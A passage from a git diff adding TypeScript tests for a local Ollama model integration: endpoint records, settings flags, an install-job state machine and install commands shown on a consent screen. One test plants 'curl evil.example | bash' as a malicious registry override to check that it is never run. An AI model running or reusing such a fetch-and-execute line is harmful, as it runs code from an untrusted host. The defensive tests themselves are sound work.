'sk-keep-me', + models: ['some-model'], +}; + +const RECORD: CustomModelHost = { + id: 'local-ollama', + label: 'This Mac', + baseUrl: 'http://127.0.0.1:11435', + authStyle: 'bearer', + models: ['qwen3.6:35b-a3b'], + defaultModelId: 'qwen3.6:35b-a3b', + defaultContextLength: 131072, +}; + +function writeSettings(settings: Record): void { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify(settings)); +} + +const readSettings = (): Record => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')); + +function writeHosts(hosts: CustomModelHost[]): void { + writeFileSync(HOSTS(), JSON.stringify(hosts)); +} + +afterEach(() => { + rmSync(HOSTS(), { force: true }); + rmSync(SETTINGS_PATH, { force: true }); + rmSync(STATE(), { force: true }); + vi.restoreAllMocks(); +}); + +describe('buildLocalEndpointRecord', () => { + it('is the one record this feature writes, to the letter', () => { + expect(LOCAL_MODEL_ENDPOINT_ID).toBe('local-ollama'); + expect(LOCAL_MODEL_ENDPOINT_LABEL).toBe('This Mac'); + expect(buildLocalEndpointRecord(INPUT)).toEqual(RECORD); + }); + + it('carries no API key and no field of its own invention', () => { + expect(Object.keys(buildLocalEndpointRecord(INPUT)).sort()).toEqual([ + 'authStyle', + 'baseUrl', + 'defaultContextLength', + 'defaultModelId', + 'id', + 'label', + 'models', + ]); + }); + + it('passes the schema a saved endpoint must pass, unchanged', () => { + const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(INPUT)); + expect(parsed.success).toBe(true); + expect(parsed.data).toEqual(RECORD); + }); + + it('the port of the runtime is the port of the URL, and the chosen context is the default context', () => { + const record = buildLocalEndpointRecord({ port: 11442, modelId: 'gpt-oss:20b', context: 65536 }); + expect(record.baseUrl).toBe('http://127.0.0.1:11442'); + expect(record.models).toEqual(['gpt-oss:20b']); + expect(record.defaultModelId).toBe('gpt-oss:20b'); + expect(record.defaultContextLength).toBe(65536); + }); +}); + +describe('connectLocalModel', () => { + it('on a fresh data dir: writes the record, switches the flag on, and reports that it was off', async () => { + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: true, flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('keeps every other endpoint and every other setting', async () => { + writeHosts([OTHER]); + writeSettings({ tmuxHistoryLimit: 5000, customModelEndpointsEnabled: false, voiceSettings: { apiKey: 'dg' } }); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: true, flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]); + expect(readSettings()).toEqual({ + tmuxHistoryLimit: 5000, + customModelEndpointsEnabled: true, + voiceSettings: { apiKey: 'dg' }, + }); + }); + + it('a flag that was already on is reported as such and the settings file is not rewritten', async () => { + writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a'] }); + const before = readFileSync(SETTINGS_PATH, 'utf8'); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: true, flagWasEnabled: true }); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(before); + }); + + it('is idempotent: a second connect replaces our record and hands the first flag value back', async () => { + writeHosts([OTHER]); + const first = await connectLocalModel({ ...INPUT, ours: false }); + expect(first).toEqual({ ok: true, flagWasEnabled: false }); + // The second connect finds the flag ON, because the first switched it on. The value that + // is remembered must stay the one from before this feature touched it. + const second = await connectLocalModel({ ...INPUT, context: 65536, ours: true, flagWasEnabled: false }); + expect(second).toEqual({ ok: true, flagWasEnabled: false }); + const hosts = await readCustomModelHosts(getDataDir()); + expect(hosts.map((host) => host.id)).toEqual(['office-gpu', 'local-ollama']); + expect(hosts[1].defaultContextLength).toBe(65536); + }); + + it('replaces our own record in place when the state says it is ours', async () => { + writeHosts([{ ...RECORD, baseUrl: 'http://127.0.0.1:11440', models: ['old:1b'] }, OTHER]); + const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: true }); + expect(result).toEqual({ ok: true, flagWasEnabled: true }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD, OTHER]); + }); + + it('never takes over a record with the reserved id that is not ours, and changes nothing', async () => { + const theirs: CustomModelHost = { id: 'local-ollama', label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' }; + writeHosts([theirs]); + writeSettings({ customModelEndpointsEnabled: false }); + const hostsBefore = readFileSync(HOSTS(), 'utf8'); + const settingsBefore = readFileSync(SETTINGS_PATH, 'utf8'); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toEqual({ ok: false, code: 'endpoint-id-taken' }); + expect(readFileSync(HOSTS(), 'utf8')).toBe(hostsBefore); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settingsBefore); + }); + + it('an endpoint store that does not parse is connect-failed: neither file is touched', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(HOSTS(), '[{"id":"x","apiKey":"sk-secret"},'); + writeSettings({ customModelEndpointsEnabled: false }); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(result.ok === false && result.detail).toContain('custom-model-hosts.json'); + expect(result.ok === false && result.detail).not.toContain('sk-secret'); + expect(readFileSync(HOSTS(), 'utf8')).toBe('[{"id":"x","apiKey":"sk-secret"},'); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: false }); + }); + + it('a settings file that does not parse is connect-failed, and the record just added is taken out again', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeHosts([OTHER]); + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, '{"customModelEndpointsEnabled":'); + const result = await connectLocalModel({ ...INPUT, ours: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(result.ok === false && result.detail).toContain('settings.json'); + // The pair is not left half done: a later attempt starts from the same place. + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe('{"customModelEndpointsEnabled":'); + }); + + it('a settings failure does not take out a record that was ours before this call', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeHosts([RECORD]); + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, 'not json'); + const result = await connectLocalModel({ ...INPUT, ours: true, flagWasEnabled: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]); + }); + + it('a port that cannot be a URL is connect-failed before anything is written', async () => { + const result = await connectLocalModel({ port: Number.NaN, modelId: 'x:y', context: 131072, ours: false }); + expect(result).toMatchObject({ ok: false, code: 'connect-failed' }); + expect(existsSync(HOSTS())).toBe(false); + expect(existsSync(SETTINGS_PATH)).toBe(false); + }); +}); + +describe('moveLocalEndpoint', () => { + it('moves our record to the new port and keeps everything else of it', async () => { + writeHosts([OTHER, RECORD]); + await moveLocalEndpoint(11441); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, { ...RECORD, baseUrl: 'http://127.0.0.1:11441' }]); + }); + + it('a missing record is not an error and creates no file', async () => { + await moveLocalEndpoint(11441); + expect(existsSync(HOSTS())).toBe(false); + writeHosts([OTHER]); + await moveLocalEndpoint(11441); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + }); +}); + +describe('ensureLocalEndpoint', () => { + it('puts our record back when it is gone, keeps the other endpoints, and does not touch the settings', async () => { + writeHosts([OTHER]); + writeSettings({ customModelEndpointsEnabled: false }); + expect(await ensureLocalEndpoint(INPUT)).toBe(true); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER, RECORD]); + // A person who switched the setting off meant to. + expect(readSettings()).toEqual({ customModelEndpointsEnabled: false }); + }); + + it('never replaces a record that is there, ours or not', async () => { + const theirs: CustomModelHost = { id: 'local-ollama', label: 'Edited', baseUrl: 'http://127.0.0.1:11499' }; + writeHosts([theirs]); + const before = readFileSync(HOSTS(), 'utf8'); + expect(await ensureLocalEndpoint(INPUT)).toBe(false); + expect(readFileSync(HOSTS(), 'utf8')).toBe(before); + }); + + it('never throws: a store that does not parse is left alone', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(HOSTS(), '{broken'); + expect(await ensureLocalEndpoint(INPUT)).toBe(false); + expect(readFileSync(HOSTS(), 'utf8')).toBe('{broken'); + }); +}); + +describe('disconnectLocalModel', () => { + it('removes our record and switches the flag off again when this feature switched it on and no other endpoint is left', async () => { + writeHosts([RECORD]); + writeSettings({ customModelEndpointsEnabled: true, tmuxHistoryLimit: 5000 }); + await disconnectLocalModel({ flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 }); + }); + + it('leaves the flag on when it was on before this feature', async () => { + writeHosts([RECORD]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: true }); + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('leaves the flag on when another endpoint is still saved, although this feature switched it on', async () => { + writeHosts([OTHER, RECORD]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: false }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('leaves the flag on when it was on before AND another endpoint is saved', async () => { + writeHosts([RECORD, OTHER]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: true }); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('is idempotent: a second call changes nothing, and a flag somebody switched off stays off', async () => { + writeHosts([RECORD]); + writeSettings({ customModelEndpointsEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: false }); + const hosts = readFileSync(HOSTS(), 'utf8'); + const settings = readFileSync(SETTINGS_PATH, 'utf8'); + await disconnectLocalModel({ flagWasEnabled: false }); + expect(readFileSync(HOSTS(), 'utf8')).toBe(hosts); + expect(readFileSync(SETTINGS_PATH, 'utf8')).toBe(settings); + }); + + it('with nothing saved at all it writes neither file', async () => { + await disconnectLocalModel({ flagWasEnabled: false }); + expect(existsSync(HOSTS())).toBe(false); + expect(existsSync(SETTINGS_PATH)).toBe(false); + }); + + it('rejects when the endpoint store must not be overwritten, and leaves the flag alone', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + writeFileSync(HOSTS(), '{broken'); + writeSettings({ customModelEndpointsEnabled: true }); + await expect(disconnectLocalModel({ flagWasEnabled: false })).rejects.toThrow('custom-model-hosts.json'); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true }); + }); + + it('connect then disconnect leaves the data dir as it was found', async () => { + writeHosts([OTHER]); + writeSettings({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] }); + const connected = await connectLocalModel({ ...INPUT, ours: false }); + expect(connected).toEqual({ ok: true, flagWasEnabled: true }); + await disconnectLocalModel({ flagWasEnabled: true }); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + expect(readSettings()).toEqual({ customModelEndpointsEnabled: true, caseOrder: ['a', 'b'] }); + }); +}); + +describe('the reserved id and the managed record', () => { + it('isLocalModelEndpointId is an exact match', () => { + expect(isLocalModelEndpointId('local-ollama')).toBe(true); + for (const id of ['Local-Ollama', 'local-ollama ', 'local-ollama-2', 'ollama', '']) { + expect(isLocalModelEndpointId(id)).toBe(false); + } + }); + + it('a record with the reserved id is managed only while the state file records it as ours', async () => { + // No state file: somebody made that record by hand. + expect(await isManagedLocalEndpoint('local-ollama')).toBe(false); + const installed = { + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + }; + writeFileSync(STATE(), JSON.stringify(installed)); + expect(await isManagedLocalEndpoint('local-ollama')).toBe(false); + writeFileSync( + STATE(), + JSON.stringify({ ...installed, connection: { endpointId: 'local-ollama', flagWasEnabled: false } }) + ); + expect(await isManagedLocalEndpoint('local-ollama')).toBe(true); + // Any other id is never managed, whatever the state file says. + expect(await isManagedLocalEndpoint('office-gpu')).toBe(false); + }); +}); + +describe('sessionNamesUsingEndpoint', () => { + const sessions = [ + { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }, + { name: 'w2-app' }, + { name: 'w3-lib', customModel: { endpointId: 'office-gpu' } }, + { name: 'w4-lib', customModel: { endpointId: 'local-ollama' } }, + ]; + + it('names the sessions on our endpoint, in the order given', () => { + expect(sessionNamesUsingEndpoint(sessions)).toEqual(['w1-app', 'w4-lib']); + }); + + it('takes any iterable and another endpoint id', () => { + expect(sessionNamesUsingEndpoint(new Set(sessions), 'office-gpu')).toEqual(['w3-lib']); + expect(sessionNamesUsingEndpoint(new Map().values())).toEqual([]); + }); +}); + +describe('compareModelDigest', () => { + const digest = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba'; + + it('same digest, same model', () => { + expect(compareModelDigest(digest, digest)).toBe('same'); + }); + + it('a prefix or another letter case is not a change', () => { + expect(compareModelDigest(digest, `sha256:${digest}`)).toBe('same'); + expect(compareModelDigest(digest.toUpperCase(), ` ${digest} `)).toBe('same'); + }); + + it('another digest under the same name is a change', () => { + expect(compareModelDigest(digest, digest.replace(/^0/, '1'))).toBe('changed'); + expect(compareModelDigest(digest, digest.slice(0, 12))).toBe('changed'); + }); + + it('is unknown when either side is absent or empty', () => { + expect(compareModelDigest(undefined, digest)).toBe('unknown'); + expect(compareModelDigest(digest, undefined)).toBe('unknown'); + expect(compareModelDigest('', digest)).toBe('unknown'); + expect(compareModelDigest(digest, 'sha256:')).toBe('unknown'); + expect(compareModelDigest(undefined, undefined)).toBe('unknown'); + }); +}); + +describe('the runtime keeps a private key that is never served', () => { + it('everything in the private home is on the sensitive list, and so is a runtime key under a real home', () => { + const home = join(getDataDir(), 'local-model', 'home'); + expect(isSensitivePath(join(home, '.ollama', 'id_ed25519'))).toBe(true); + expect(isSensitivePath(join(home, '.ollama', 'id_ed25519.pub'))).toBe(true); + expect(isSensitivePath('/Users/me/.codeman-beta/local-model/home/.ollama/server.json')).toBe(true); + expect(isSensitivePath('/Users/me/.ollama/id_ed25519')).toBe(true); + }); + + it('the model store and the state file hold no secret and stay ordinary files', () => { + expect(isSensitivePath(join(getDataDir(), 'local-model', 'models', 'manifest'))).toBe(false); + expect(isSensitivePath('/Users/me/.ollama/models/blobs/sha256-abc')).toBe(false); + }); +}); diff --git a/test/local-model-harness-facts.test.ts b/test/local-model-harness-facts.test.ts index 7c0409b7..ae476753 100644 --- a/test/local-model-harness-facts.test.ts +++ b/test/local-model-harness-facts.test.ts @@ -12,6 +12,9 @@ * - The registry's install command resolver reads `process.platform` and falls back to the * Linux command, so on a Linux machine it never returns a macOS command. The macOS cases * inject `installCommandFor` and read the entry's own `darwin` command. + * - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the + * install job would run. A `clis.json` override changes what the registry shows and must + * not change it. * * Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts). */ @@ -24,6 +27,7 @@ import { cliAcceptsCustomModelId, installCommandNeedsAdmin, } from '../src/local-model/harness-facts.js'; +import { stockInstallCommand } from '../src/cli-install-runner.js'; import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js'; import type { CliEntry } from '../src/config/cli-registry/types.js'; import type { LocalModelCatalog } from '../src/types.js'; @@ -34,7 +38,6 @@ function catalogWith(clis: string[]): LocalModelCatalog { schema: 1, updated: '2026-11-06', minMacosMajor: 14, - promptCacheTiers: [{ minMemGb: 0, bytes: 512 * 1024 * 1024 }], models: [], harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })), chips: [], @@ -303,4 +306,90 @@ describe('buildHarnessFacts', () => { it('an empty harness list is an empty answer', async () => { expect(await buildHarnessFacts(catalogWith([]))).toEqual([]); }); + + describe('installCommand: the literal command the consent screen prints', () => { + it('is present exactly when the fact is installable, and is the command that was judged', async () => { + const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), { + probeInstalled: installedOnly('claude'), + installCommandFor: darwinCommand, + }); + for (const fact of facts) { + expect('installCommand' in fact).toBe(fact.installable); + } + const byCli = new Map(facts.map((f) => [f.cli, f])); + expect(byCli.get('opencode')?.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash'); + expect(byCli.get('pi')?.installCommand).toBe(darwinCommand(stockEntry('pi'))); + // Installed: nothing would be run, so nothing is shown. + expect(byCli.get('claude')).not.toHaveProperty('installCommand'); + // Homebrew needs an administrator: not installable, and no command is offered. + expect(byCli.get('omp')).not.toHaveProperty('installCommand'); + }); + + it('with its default dependencies it is the stock command of this platform', async () => { + const [fact] = await buildHarnessFacts(catalogWith(['opencode'])); + expect(fact).toMatchObject({ + installed: false, + installable: true, + installCommand: stockInstallCommand('opencode'), + }); + expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); + + it('a clis.json override of the install command changes neither the fact nor whether it is installable', async () => { + const path = registryFilePath(); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync( + path, + JSON.stringify({ + schemaVersion: 1, + clis: { + opencode: { + discovery: { + install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } }, + }, + }, + }, + }), + { mode: 0o600 } + ); + reloadCliRegistry(); + // The override is what the registry now says... + expect(stockEntry('opencode').discovery.install.command.darwin).toBe('curl evil.example | bash'); + // ...and it is not what the install job would run, so it is not what the fact carries. + const [fact] = await buildHarnessFacts(catalogWith(['opencode'])); + expect(fact.installable).toBe(true); + expect(fact.installCommand).toBe('curl -fsSL https://opencode.ai/install | bash'); + }); + + it('an override that makes the registry command need an administrator does not hide a stock command that needs none', async () => { + const path = registryFilePath(); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync( + path, + JSON.stringify({ + schemaVersion: 1, + clis: { opencode: { discovery: { install: { command: { linux: 'sudo true', darwin: 'sudo true' } } } } }, + }), + { mode: 0o600 } + ); + reloadCliRegistry(); + const [fact] = await buildHarnessFacts(catalogWith(['opencode'])); + expect(fact.installable).toBe(true); + expect(fact.installCommand).not.toContain('sudo'); + }); + + it('a custom entry never carries a command: its install text is never run', async () => { + const custom = (id: string): CliEntry | undefined => { + const entry = getCli(id); + return entry ? { ...entry, stock: false } : entry; + }; + const [fact] = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: custom, + probeInstalled: installedOnly(), + installCommandFor: darwinCommand, + }); + expect(fact.installable).toBe(false); + expect(fact).not.toHaveProperty('installCommand'); + }); + }); }); diff --git a/test/local-model-install-job.test.ts b/test/local-model-install-job.test.ts new file mode 100644 index 00000000..740c4a81 --- /dev/null +++ b/test/local-model-install-job.test.ts @@ -0,0 +1,700 @@ +/** + * @fileoverview The pure half of the local model install job (src/local-model/install-job.ts): + * the three tables, the reducer over them, and the view. + * + * The reducer is tested from the tables it is written against: every state is paired with + * every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the + * table does not list hands back the very object it was given). The state table's own + * columns (what a restart and Cancel do, which actions are allowed) are checked against the + * reducer and the view, so the table in the file header cannot drift from the code. + * + * The service that drives the job is in test/local-model-install-service.test.ts. + * + * Port: N/A (pure functions). + */ +import { describe, expect, it } from 'vitest'; +import { + allowedActions, + buildInstallError, + buildInstallView, + formatInstallMessage, + INSTALL_STATE_TABLE, + INSTALL_STEP_TABLE, + INSTALL_TRANSITIONS, + installedBlocker, + jobSteps, + reduceInstallJob, + type InstallJobEvent, + type InstallJobEventType, + type InstallLiveFacts, +} from '../src/local-model/install-job.js'; +import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js'; +import { + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_ERROR_NEXT, + LOCAL_MODEL_INSTALL_LABELS, + LOCAL_MODEL_INSTALL_STEPS, + type LocalModelAction, + type LocalModelErrorCode, + type LocalModelInstallState, + type LocalModelInstallStep, + type LocalModelStateFile, +} from '../src/types.js'; + +const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed']; +const EVENT_TYPES: InstallJobEventType[] = [ + 'install', + 'progress', + 'step-done', + 'fail', + 'cancel', + 'restart', + 'resume', + 'remove', +]; +const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect']; + +const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }; +const CLI = { id: 'opencode', label: 'OpenCode' }; +const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 }; +const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false }; +const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }; + +const JOB: LocalModelStateFile = { + schema: 1, + state: 'installing', + step: 'model', + steps: ALL_STEPS, + model: MODEL, + cli: CLI, + runtime: RUNTIME, + progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 }, +}; + +/** One state file of each state, as the job leaves it. */ +const SAMPLE: Record = { + idle: { schema: 1, state: 'idle' }, + installing: JOB, + paused: { ...JOB, state: 'paused' }, + failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } }, + installed: { + schema: 1, + state: 'installed', + model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' }, + cli: CLI, + runtime: RUNTIME, + loaded: LOADED, + connection: CONNECTION, + }, +}; + +/** One event of each type. */ +const EVENT: Record = { + install: { + type: 'install', + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + cli: { id: 'claude', label: 'Claude Code' }, + steps: ['runtime', 'model', 'verify', 'connect'], + }, + progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 }, + 'step-done': { type: 'step-done' }, + fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' }, + cancel: { type: 'cancel' }, + restart: { type: 'restart' }, + resume: { type: 'resume' }, + remove: { type: 'remove' }, +}; + +/** Freezes an object and everything in it, so a reducer that mutates its input throws. */ +function deepFreeze(value: T): T { + if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) { + Object.freeze(value); + for (const member of Object.values(value)) deepFreeze(member); + } + return value; +} + +const LIVE: InstallLiveFacts = { + running: false, + gaveUp: false, + portInUse: false, + developerTools: 'present', + runtimeInstalled: false, + pin: OLLAMA_RUNTIME_PIN, + folder: '/Users/me/.codeman/local-model', +}; + +describe('the tables', () => { + it('have a row for every state and every step, and only for those', () => { + expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort()); + expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort()); + expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort()); + expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS); + }); + + it('the transition table names only real events and real states', () => { + for (const state of STATES) { + for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) { + expect(EVENT_TYPES).toContain(type); + expect(STATES).toContain(target); + } + } + }); + + it('is the table of the design: these pairs and no others', () => { + expect(INSTALL_TRANSITIONS).toEqual({ + idle: { install: 'installing', restart: 'idle', remove: 'idle' }, + installing: { + progress: 'installing', + 'step-done': 'installing', + fail: 'failed', + cancel: 'paused', + restart: 'paused', + }, + paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' }, + failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' }, + installed: { remove: 'idle', restart: 'installed' }, + }); + }); + + it('every step row names error codes that exist, each with a sentence and a next step', () => { + for (const step of LOCAL_MODEL_INSTALL_STEPS) { + const row = INSTALL_STEP_TABLE[step]; + expect(row.errors.length).toBeGreaterThan(0); + expect(row.errors).toContain('internal'); + for (const code of row.errors) { + expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string'); + expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string'); + } + } + // The two steps that download report byte progress; the others do not. + expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']); + // The runtime must run for every step that talks to it. + expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([ + 'model', + 'verify', + 'connect', + ]); + }); + + it('every error code has exactly one sentence and one next step', () => { + const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]; + expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort()); + const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS)); + for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true); + }); +}); + +describe('jobSteps', () => { + it('is every step in order, without the agent step when the coding agent is installed', () => { + expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']); + expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']); + }); + + it('hands out a list of its own each time', () => { + const steps = jobSteps({ agentInstalled: false }); + steps.pop(); + expect(jobSteps({ agentInstalled: false })).toHaveLength(5); + expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5); + }); +}); + +describe('reduceInstallJob: every state with every event, from the transition table', () => { + for (const state of STATES) { + for (const type of EVENT_TYPES) { + const target = INSTALL_TRANSITIONS[state][type]; + const current = deepFreeze(structuredClone(SAMPLE[state])); + const event = deepFreeze(structuredClone(EVENT[type])); + if (target === undefined) { + it(`${state} + ${type}: refused, the same object comes back`, () => { + expect(reduceInstallJob(current, event)).toBe(current); + }); + } else { + it(`${state} + ${type}: ${target}`, () => { + const next = reduceInstallJob(current, event); + expect(next.state).toBe(target); + expect(next.schema).toBe(1); + // Pure: the frozen input was not changed (a write to it would have thrown). + expect(current).toEqual(SAMPLE[state]); + }); + } + } + } + + it('covers all 40 pairs, 18 of them listed', () => { + const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state])); + expect(STATES.length * EVENT_TYPES.length).toBe(40); + expect(listed).toHaveLength(18); + }); +}); + +describe('the state table agrees with the reducer and the view', () => { + it.each(STATES)('%s: what a server restart does', (state) => { + const row = INSTALL_STATE_TABLE[state]; + const after = reduceInstallJob(SAMPLE[state], { type: 'restart' }); + expect(after.state).toBe(row.afterRestart); + }); + + it.each(STATES)('%s: what Cancel does', (state) => { + const row = INSTALL_STATE_TABLE[state]; + const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' }); + if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]); + else expect(after.state).toBe(row.afterCancel); + }); + + it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => { + const row = INSTALL_STATE_TABLE[state]; + const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined; + expect(row.actions.includes('install')).toBe(accepts('install')); + expect(row.actions.includes('cancel')).toBe(accepts('cancel')); + expect(row.actions.includes('resume')).toBe(accepts('resume')); + // Remove is refused only while a job runs. From idle it only clears leftovers, so the + // window offers no button for it there. + if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove')); + // The runtime and a session are things of an installed model only. + for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) { + expect(row.actions.includes(action)).toBe(state === 'installed'); + } + }); + + it('a restart never leaves a job running, and never changes anything else', () => { + for (const state of STATES) { + const after = reduceInstallJob(SAMPLE[state], { type: 'restart' }); + expect(after.state).not.toBe('installing'); + if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' }); + else expect(after).toBe(SAMPLE[state]); + } + }); +}); + +describe('reduceInstallJob: what each event writes', () => { + it('install from idle starts at the first step with the model, the coding agent and the steps', () => { + expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({ + schema: 1, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + cli: { id: 'claude', label: 'Claude Code' }, + }); + }); + + it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => { + const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED }; + const next = reduceInstallJob(failed, EVENT.install); + expect(next).toEqual({ + schema: 1, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + // The old job's model is another one: what it left in the store is deleted first. + replacedModelId: 'qwen3.6:35b-a3b', + cli: { id: 'claude', label: 'Claude Code' }, + runtime: RUNTIME, + connection: CONNECTION, + }); + // Gone: the error, the progress, what the runtime had loaded. + expect(next).not.toHaveProperty('error'); + expect(next).not.toHaveProperty('progress'); + expect(next).not.toHaveProperty('loaded'); + }); + + it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => { + const paused: LocalModelStateFile = { + ...SAMPLE.paused, + model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' }, + }; + const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as 